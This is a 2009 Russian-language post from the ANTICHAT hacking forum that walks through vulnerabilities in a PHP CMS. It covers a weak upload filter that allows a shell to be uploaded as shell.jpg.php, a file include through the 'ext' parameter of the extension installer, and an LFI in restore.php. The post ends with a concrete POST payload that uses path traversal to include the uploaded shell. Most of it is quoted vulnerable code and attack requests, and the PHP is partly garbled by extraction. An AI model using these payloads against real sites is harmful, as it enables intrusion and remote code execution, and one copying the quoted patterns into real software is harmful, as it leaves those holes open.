HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #4  
Старый 14.04.2009, 22:50
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Продолжим (:

http://localhost/22_ultimate/admin/?cmd=gallery.images

[/admin/gallery/upload.php 50 line]

Мега защита =)

PHP код:
        $rozdeleni explode("."$_FILES['image']['name'][$i]);
        if(
$rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG"
        { 
Если у нас shell.jpg.php, то:

Код:
Array ( [0] => shell [1] => jpg [2] => php ) 
Опять таки Заливка шелла. Проблема что заливается с расширением Array[1].
RFI
Рассмотрим admin\acp\extensions\index.php
Существует вот такой вот код.
PHP код:
if($_GET['op'] == 'install') {
    
$cms_root '../';
    
$path '../ext/install.' $_GET['ext'] . '.php';
    
$chksum md5_file($path);
    
    if(
file_exists($path)) {
        
$result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" $chksum "';");
    
$row_array sql_fetch_row($result);
    if(
$row_array[0] != $chksum) {
            include(
$path); 
Есть инклуд
PHP код:
include($path); 
Обращаемся к скрипту:
index.php?op=install&ext=[path]

$chksum
- ето у нас путь в md5.
Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path);

LFI

/admin/acp/restore/restore.php

PHP код:
elseif(isset($_POST['download']))
    {
        
header('Content-Description: File Transfer');
        
header('Content-Type: text/x-sql');
        
header('Content-Disposition: attachment; filename="'$_POST['file'] .'.sql"');
    
        include(
'../store/'$_POST['file'] .'.sql');
    } 
POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=

Последний раз редактировалось Dimi4; 14.04.2009 в 23:01..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей Danneo CMS ] [Raz0r] Веб-уязвимости 6 16.04.2014 09:45
Reviews CMS w3r3.w01f PHP 33 12.04.2010 23:18
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Девять Комерческих Cms w3r3.w01f PHP 1 21.04.2006 00:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ